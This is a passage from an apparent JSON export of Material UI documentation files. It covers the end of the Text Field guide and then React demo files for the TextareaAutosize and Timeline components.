instance, you can use an icon button to hide or reveal the password.\n\n{{\"demo\": \"InputAdornments.js\"}}\n\n#### Customizing adornments\n\nYou can apply custom styles to adornments, and trigger changes to one based on attributes from another.\nFor example, the demo below uses the label's `[data-shrink=true]` attribute to make the suffix visible (via opacity) when the label is in its shrunken state.\n\n{{\"demo\": \"InputSuffixShrink.js\"}}\n\n## Sizes\n\nFancy smaller inputs? Use the `size` prop.\n\n{{\"demo\": \"TextFieldSizes.js\"}}\n\nThe `filled` variant input height can be further reduced by rendering the label outside of it.\n\n{{\"demo\": \"TextFieldHiddenLabel.js\"}}\n\n## Margin\n\nThe `margin` prop can be used to alter the vertical spacing of the text field.\nUsing `none` (default) doesn't apply margins to the `FormControl` whereas `dense` and `normal` do.\n\n{{\"demo\": \"LayoutTextFields.js\"}}\n\n## Full width\n\n`fullWidth` can be used to make the input take up the full width of its container.\n\n{{\"demo\": \"FullWidthTextField.js\"}}\n\n## Uncontrolled vs. Controlled\n\nThe component can be controlled or uncontrolled.\n\n:::info\n\n- A component is **controlled** when it's managed by its parent using props.\n- A component is **uncontrolled** when it's managed by its own local state.\n\nLearn more about controlled and uncontrolled components in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).\n:::\n\n{{\"demo\": \"StateTextFields.js\"}}\n\n## Components\n\n`TextField` is composed of smaller components (\n[`FormControl`](/material-ui/api/form-control/),\n[`Input`](/material-ui/api/input/),\n[`FilledInput`](/material-ui/api/filled-input/),\n[`InputLabel`](/material-ui/api/input-label/),\n[`OutlinedInput`](/material-ui/api/outlined-input/),\nand [`FormHelperText`](/material-ui/api/form-helper-text/)\n) that you can leverage directly to significantly customize your form inputs.\n\nYou might also have noticed that some native HTML input properties are missing from the `TextField` component.\nThis is on purpose.\nThe component takes care of the most used properties.\nThen, it's up to the user to use the underlying component shown in the following demo. Still, you can use `slotProps.htmlInput` (and `slotProps.input`, `slotProps.inputLabel` properties) if you want to avoid some boilerplate.\n\n{{\"demo\": \"ComposedTextField.js\"}}\n\n## Inputs\n\n{{\"demo\": \"Inputs.js\"}}\n\n## Color\n\nThe `color` prop changes the highlight color of the text field when focused.\n\n{{\"demo\": \"ColorTextFields.js\"}}\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n### Using the styled API\n\n{{\"demo\": \"CustomizedInputsStyled.js\"}}\n\n### Using the theme style overrides API\n\nUse the `styleOverrides` key to change any style injected by Material UI into the DOM.\nSee the [theme style overrides](/material-ui/customization/theme-components/#theme-style-overrides) documentation for further details.\n\n{{\"demo\": \"CustomizedInputsStyleOverrides.js\"}}\n\nCustomization does not stop at CSS.\nYou can use composition to build custom components and give your app a unique feel.\nBelow is an example using the [`InputBase`](/material-ui/api/input-base/) component, inspired by Google Maps.\n\n{{\"demo\": \"CustomizedInputBase.js\", \"bg\": true}}\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://mui-treasury.com/?path=/docs/textField-introduction--docs).\n\n## `useFormControl`\n\nFor advanced customization use cases, a `useFormControl()` hook is exposed.\nThis hook returns the context value of the parent `FormControl` component.\n\n**API**\n\n```jsx\nimport { useFormControl } from '@mui/material/FormControl';\n```\n\n**Returns**\n\n`value` (_object_):\n\n- `value.adornedStart` (_bool_): Indicate whether the child `Input` or `Select` component has a start adornment.\n- `value.setAdornedStart` (_func_): Setter function for `adornedStart` state value.\n- `value.color` (_string_): The theme color is being used, inherited from `FormControl` `color` prop .\n- `value.disabled` (_bool_): Indicate whether the component is being displayed in a disabled state, inherited from `FormControl` `disabled` prop.\n- `value.error` (_bool_): Indicate whether the component is being displayed in an error state, inherited from `FormControl` `error` prop\n- `value.filled` (_bool_): Indicate whether input is filled\n- `value.focused` (_bool_): Indicate whether the component and its children are being displayed in a focused state\n- `value.fullWidth` (_bool_): Indicate whether the component is taking up the full width of its container, inherited from `FormControl` `fullWidth` prop\n- `value.hiddenLabel` (_bool_): Indicate whether the label is being hidden, inherited from `FormControl` `hiddenLabel` prop\n- `value.required` (_bool_): Indicate whether the label is indicating that the input is required input, inherited from the `FormControl` `required` prop\n- `value.size` (_string_): The size of the component, inherited from the `FormControl` `size` prop\n- `value.variant` (_string_): The variant is being used by the `FormControl` component and its children, inherited from `FormControl` `variant` prop\n- `value.onBlur` (_func_): Should be called when the input is blurred\n- `value.onFocus` (_func_): Should be called when the input is focused\n- `value.onEmpty` (_func_): Should be called when the input is emptied\n- `value.onFilled` (_func_): Should be called when the input is filled\n\n**Example**\n\n{{\"demo\": \"UseFormControl.js\"}}\n\n## Performance\n\nGlobal styles for the auto-fill keyframes are injected and removed on each mount and unmount, respectively.\nIf you are loading a large number of Text Field components at once, it might be a good idea to change this default behavior by enabling [`disableInjectingGlobalStyles`](/material-ui/api/input-base/#input-base-prop-disableInjectingGlobalStyles) in `MuiInputBase`.\nMake sure to inject `GlobalStyles` for the auto-fill keyframes at the top of your application.\n\n```jsx\nimport { GlobalStyles, createTheme, ThemeProvider } from '@mui/material';\n\nconst theme = createTheme({\n  components: {\n    MuiInputBase: {\n      defaultProps: {\n        disableInjectingGlobalStyles: true,\n      },\n    },\n  },\n});\n\nexport default function App() {\n  return (\n    <ThemeProvider theme={theme}>\n      <GlobalStyles\n        styles={{\n          '@keyframes mui-auto-fill': { from: { display: 'block' } },\n          '@keyframes mui-auto-fill-cancel': { from: { display: 'block' } },\n        }}\n      />\n      ...\n    </ThemeProvider>\n  );\n}\n```\n\n## Limitations\n\n### Shrink\n\nThe input label \"shrink\" state isn't always correct.\nThe input label is supposed to shrink as soon as the input is displaying something.\nIn some circumstances, we can't determine the \"shrink\" state (datetime input, Stripe input). You might notice an overlap.\n\n![shrink](/static/images/text-fields/shrink.png)\n\nTo workaround the issue, you can force the \"shrink\" state of the label.\n\n```jsx\n<TextField slotProps={{ inputLabel: { shrink: true } }} />\n```\n\nor\n\n```jsx\n<InputLabel shrink>Count</InputLabel>\n```\n\n### Floating label\n\nThe floating label is absolutely positioned.\nIt won't impact the layout of the page.\nMake sure that the input is larger than the label to display correctly.\n\n### type=\"number\"\n\n:::warning\nWe do not recommend using `type=\"number\"` with a Text Field due to potential usability issues:\n\n- it allows certain non-numeric characters ('e', '+', '-', '.') and silently discards others\n- the functionality of scrolling to increment/decrement the number can cause accidental and hard-to-notice changes\n- and more—see [Why the GOV.UK Design System team changed the input type for numbers](https://technology.blog.gov.uk/2020/02/24/why-the-gov-uk-design-system-team-changed-the-input-type-for-numbers/) for a more detailed explanation of the limitations of `<input type=\"number\">`\n\n  :::\n\nIf you need a text field with number validation, you can use [Number Field](/material-ui/react-number-field/) instead.\n\n### Helper text\n\nThe helper text prop affects the height of the text field. If two text fields are placed side by side, one with a helper text and one without, they will have different heights. For example:\n\n{{\"demo\": \"HelperTextMisaligned.js\"}}\n\nThis can be fixed by passing a space character to the `helperText` prop:\n\n{{\"demo\": \"HelperTextAligned.js\"}}\n\n## Integration with 3rd party input libraries\n\nYou can use third-party libraries to format an input.\nYou have to provide a custom implementation of the `<input>` element with the `inputComponent` property.\n\nThe following demo uses the [react-imask](https://github.com/uNmAnNeR/imaskjs) and [react-number-format](https://github.com/s-yadav/react-number-format) libraries. The same concept could be applied to, for example [react-stripe-element](https://github.com/mui/material-ui/issues/16037).\n\n{{\"demo\": \"FormattedInputs.js\"}}\n\nThe provided input component should expose a ref with a value that implements the following interface:\n\n```ts\ninterface InputElement {\n  focus(): void;\n  value?: string;\n}\n```\n\n```jsx\nconst MyInputComponent = React.forwardRef((props, ref) => {\n  const { component: Component, ...other } = props;\n\n  // implement `InputElement` interface\n  React.useImperativeHandle(ref, () => ({\n    focus: () => {\n      // logic to focus the rendered component from 3rd party belongs here\n    },\n    // hiding the value e.g. react-stripe-elements\n  }));\n\n  // `Component` will be your `SomeThirdPartyComponent` from below\n  return <Component {...other} />;\n});\n\n// usage\n<TextField\n  slotProps={{\n    input: {\n      inputComponent: MyInputComponent,\n      inputProps: {\n        component: SomeThirdPartyComponent,\n      },\n    },\n  }}\n/>;\n```\n\n## Accessibility\n\nIn order for the text field to be accessible, **the input should be linked to the label and the helper text**. The underlying DOM nodes should have this structure:\n\n```jsx\n<div class=\"form-control\">\n  <label for=\"my-input\">Email address</label>\n  <input id=\"my-input\" aria-describedby=\"my-helper-text\" />\n  <span id=\"my-helper-text\">We'll never share your email.</span>\n</div>\n```\n\n- If you are using the `TextField` component, you just have to provide a unique `id` unless you're using the `TextField` only client-side.\n  Until the UI is hydrated `TextField` without an explicit `id` will not have associated labels.\n- If you are composing the component:\n\n```jsx\n<FormControl>\n  <InputLabel htmlFor=\"my-input\">Email address</InputLabel>\n  <Input id=\"my-input\" aria-describedby=\"my-helper-text\" />\n  <FormHelperText id=\"my-helper-text\">We'll never share your email.</FormHelperText>\n</FormControl>\n```\n\n## Supplementary projects\n\n<!-- To sync with related-projects.md -->\n\nFor more advanced use cases, you might be able to take advantage of:\n\n- [react-hook-form-mui](https://github.com/dohomi/react-hook-form-mui): Material UI and [react-hook-form](https://react-hook-form.com/) combined.\n- [formik-material-ui](https://github.com/stackworx/formik-mui): Bindings for using Material UI with [formik](https://formik.org/).\n- [mui-rff](https://github.com/lookfirst/mui-rff): Bindings for using Material UI with [React Final Form](https://final-form.org/react).\n- [@ui-schema/ds-material](https://www.npmjs.com/package/@ui-schema/ds-material) Bindings for using Material UI with [UI Schema](https://github.com/ui-schema/ui-schema). JSON Schema compatible.\n"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/EmptyTextarea.js",
    "content": "import TextareaAutosize from '@mui/material/TextareaAutosize';\n\nexport default function EmptyTextarea() {\n  return (\n    <TextareaAutosize\n      aria-label=\"empty textarea\"\n      placeholder=\"Empty\"\n      style={{ width: 200 }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/EmptyTextarea.tsx",
    "content": "import TextareaAutosize from '@mui/material/TextareaAutosize';\n\nexport default function EmptyTextarea() {\n  return (\n    <TextareaAutosize\n      aria-label=\"empty textarea\"\n      placeholder=\"Empty\"\n      style={{ width: 200 }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/EmptyTextarea.tsx.preview",
    "content": "<TextareaAutosize\n  aria-label=\"empty textarea\"\n  placeholder=\"Empty\"\n  style={{ width: 200 }}\n/>"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/MaxHeightTextarea.js",
    "content": "import TextareaAutosize from '@mui/material/TextareaAutosize';\n\nexport default function MaxHeightTextarea() {\n  return (\n    <TextareaAutosize\n      maxRows={4}\n      aria-label=\"maximum height\"\n      placeholder=\"Maximum 4 rows\"\n      defaultValue=\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt\n          ut labore et dolore magna aliqua.\"\n      style={{ width: 200 }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/MaxHeightTextarea.tsx",
    "content": "import TextareaAutosize from '@mui/material/TextareaAutosize';\n\nexport default function MaxHeightTextarea() {\n  return (\n    <TextareaAutosize\n      maxRows={4}\n      aria-label=\"maximum height\"\n      placeholder=\"Maximum 4 rows\"\n      defaultValue=\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt\n          ut labore et dolore magna aliqua.\"\n      style={{ width: 200 }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/MaxHeightTextarea.tsx.preview",
    "content": "<TextareaAutosize\n  maxRows={4}\n  aria-label=\"maximum height\"\n  placeholder=\"Maximum 4 rows\"\n  defaultValue=\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt\n      ut labore et dolore magna aliqua.\"\n  style={{ width: 200 }}\n/>"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/MinHeightTextarea.js",
    "content": "import TextareaAutosize from '@mui/material/TextareaAutosize';\n\nexport default function MinHeightTextarea() {\n  return (\n    <TextareaAutosize\n      aria-label=\"minimum height\"\n      minRows={3}\n      placeholder=\"Minimum 3 rows\"\n      style={{ width: 200 }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/MinHeightTextarea.tsx",
    "content": "import TextareaAutosize from '@mui/material/TextareaAutosize';\n\nexport default function MinHeightTextarea() {\n  return (\n    <TextareaAutosize\n      aria-label=\"minimum height\"\n      minRows={3}\n      placeholder=\"Minimum 3 rows\"\n      style={{ width: 200 }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/MinHeightTextarea.tsx.preview",
    "content": "<TextareaAutosize\n  aria-label=\"minimum height\"\n  minRows={3}\n  placeholder=\"Minimum 3 rows\"\n  style={{ width: 200 }}\n/>"
  },
  {
    "path": "docs/data/material/components/textarea-autosize/textarea-autosize.md",
    "content": "---\nproductId: material-ui\ntitle: Textarea Autosize React component\ncomponents: TextareaAutosize\ngithubLabel: 'component: TextareaAutosize'\n---\n\n# Textarea Autosize\n\n<p class=\"description\">The Textarea Autosize component automatically adjusts its height to match the length of the content within.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Introduction\n\nTextarea Autosize is a utility component that replaces the native `<textarea>` HTML.\nIts height automatically adjusts as a response to keyboard inputs and window resizing events.\n\nBy default, an empty Textarea Autosize component renders as a single row, as shown in the following demo:\n\n{{\"demo\": \"EmptyTextarea.js\", \"defaultCodeOpen\": false}}\n\n## Basics\n\n### Import\n\n```jsx\nimport TextareaAutosize from '@mui/material/TextareaAutosize';\n```\n\n### Minimum height\n\nUse the `minRows` prop to define the minimum height of the component:\n\n{{\"demo\": \"MinHeightTextarea.js\"}}\n\n### Maximum height\n\nUse the `maxRows` prop to define the maximum height of the component:\n\n{{\"demo\": \"MaxHeightTextarea.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/timeline/AlternateReverseTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function AlternateReverseTimeline() {\n  return (\n    <Timeline position=\"alternate-reverse\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/AlternateReverseTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function AlternateReverseTimeline() {\n  return (\n    <Timeline position=\"alternate-reverse\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/AlternateTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function AlternateTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/AlternateTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function AlternateTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Repeat</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/BasicTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function BasicTimeline() {\n  return (\n    <Timeline>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/BasicTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function BasicTimeline() {\n  return (\n    <Timeline>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Eat</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Code</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot />\n        </TimelineSeparator>\n        <TimelineContent>Sleep</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/ColorsTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function ColorsTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot color=\"secondary\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Secondary</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot color=\"success\" />\n        </TimelineSeparator>\n        <TimelineContent>Success</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/ColorsTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\n\nexport default function ColorsTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot color=\"secondary\" />\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent>Secondary</TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineDot color=\"success\" />\n        </TimelineSeparator>\n        <TimelineContent>Success</TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/ColorsTimeline.tsx.preview",
    "content": "<Timeline position=\"alternate\">\n  <TimelineItem>\n    <TimelineSeparator>\n      <TimelineDot color=\"secondary\" />\n      <TimelineConnector />\n    </TimelineSeparator>\n    <TimelineContent>Secondary</TimelineContent>\n  </TimelineItem>\n  <TimelineItem>\n    <TimelineSeparator>\n      <TimelineDot color=\"success\" />\n    </TimelineSeparator>\n    <TimelineContent>Success</TimelineContent>\n  </TimelineItem>\n</Timeline>"
  },
  {
    "path": "docs/data/material/components/timeline/CustomizedTimeline.js",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport FastfoodIcon from '@mui/icons-material/Fastfood';\nimport LaptopMacIcon from '@mui/icons-material/LaptopMac';\nimport HotelIcon from '@mui/icons-material/Hotel';\nimport RepeatIcon from '@mui/icons-material/Repeat';\nimport Typography from '@mui/material/Typography';\n\nexport default function CustomizedTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineOppositeContent\n          align=\"right\"\n          variant=\"body2\"\n          sx={{\n            color: 'text.secondary',\n            m: 'auto 0',\n          }}\n        >\n          9:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineConnector />\n          <TimelineDot>\n            <FastfoodIcon />\n          </TimelineDot>\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Eat\n          </Typography>\n          <Typography>Because you need strength</Typography>\n        </TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          variant=\"body2\"\n          sx={{\n            color: 'text.secondary',\n            m: 'auto 0',\n          }}\n        >\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineConnector />\n          <TimelineDot color=\"primary\">\n            <LaptopMacIcon />\n          </TimelineDot>\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Code\n          </Typography>\n          <Typography>Because it&apos;s awesome!</Typography>\n        </TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineConnector />\n          <TimelineDot color=\"primary\" variant=\"outlined\">\n            <HotelIcon />\n          </TimelineDot>\n          <TimelineConnector sx={{ bgcolor: 'secondary.main' }} />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Sleep\n          </Typography>\n          <Typography>Because you need rest</Typography>\n        </TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineConnector sx={{ bgcolor: 'secondary.main' }} />\n          <TimelineDot color=\"secondary\">\n            <RepeatIcon />\n          </TimelineDot>\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Repeat\n          </Typography>\n          <Typography>Because this is the life you love!</Typography>\n        </TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/CustomizedTimeline.tsx",
    "content": "import Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector from '@mui/lab/TimelineConnector';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\nimport TimelineDot from '@mui/lab/TimelineDot';\nimport FastfoodIcon from '@mui/icons-material/Fastfood';\nimport LaptopMacIcon from '@mui/icons-material/LaptopMac';\nimport HotelIcon from '@mui/icons-material/Hotel';\nimport RepeatIcon from '@mui/icons-material/Repeat';\nimport Typography from '@mui/material/Typography';\n\nexport default function CustomizedTimeline() {\n  return (\n    <Timeline position=\"alternate\">\n      <TimelineItem>\n        <TimelineOppositeContent\n          align=\"right\"\n          variant=\"body2\"\n          sx={{\n            color: 'text.secondary',\n            m: 'auto 0',\n          }}\n        >\n          9:30 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineConnector />\n          <TimelineDot>\n            <FastfoodIcon />\n          </TimelineDot>\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Eat\n          </Typography>\n          <Typography>Because you need strength</Typography>\n        </TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineOppositeContent\n          variant=\"body2\"\n          sx={{\n            color: 'text.secondary',\n            m: 'auto 0',\n          }}\n        >\n          10:00 am\n        </TimelineOppositeContent>\n        <TimelineSeparator>\n          <TimelineConnector />\n          <TimelineDot color=\"primary\">\n            <LaptopMacIcon />\n          </TimelineDot>\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Code\n          </Typography>\n          <Typography>Because it&apos;s awesome!</Typography>\n        </TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineConnector />\n          <TimelineDot color=\"primary\" variant=\"outlined\">\n            <HotelIcon />\n          </TimelineDot>\n          <TimelineConnector sx={{ bgcolor: 'secondary.main' }} />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Sleep\n          </Typography>\n          <Typography>Because you need rest</Typography>\n        </TimelineContent>\n      </TimelineItem>\n      <TimelineItem>\n        <TimelineSeparator>\n          <TimelineConnector sx={{ bgcolor: 'secondary.main' }} />\n          <TimelineDot color=\"secondary\">\n            <RepeatIcon />\n          </TimelineDot>\n          <TimelineConnector />\n        </TimelineSeparator>\n        <TimelineContent sx={{ py: '12px', px: 2 }}>\n          <Typography variant=\"h6\" component=\"span\">\n            Repeat\n          </Typography>\n          <Typography>Because this is the life you love!</Typography>\n        </TimelineContent>\n      </TimelineItem>\n    </Timeline>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/timeline/LeftAlignedTimeline.js",
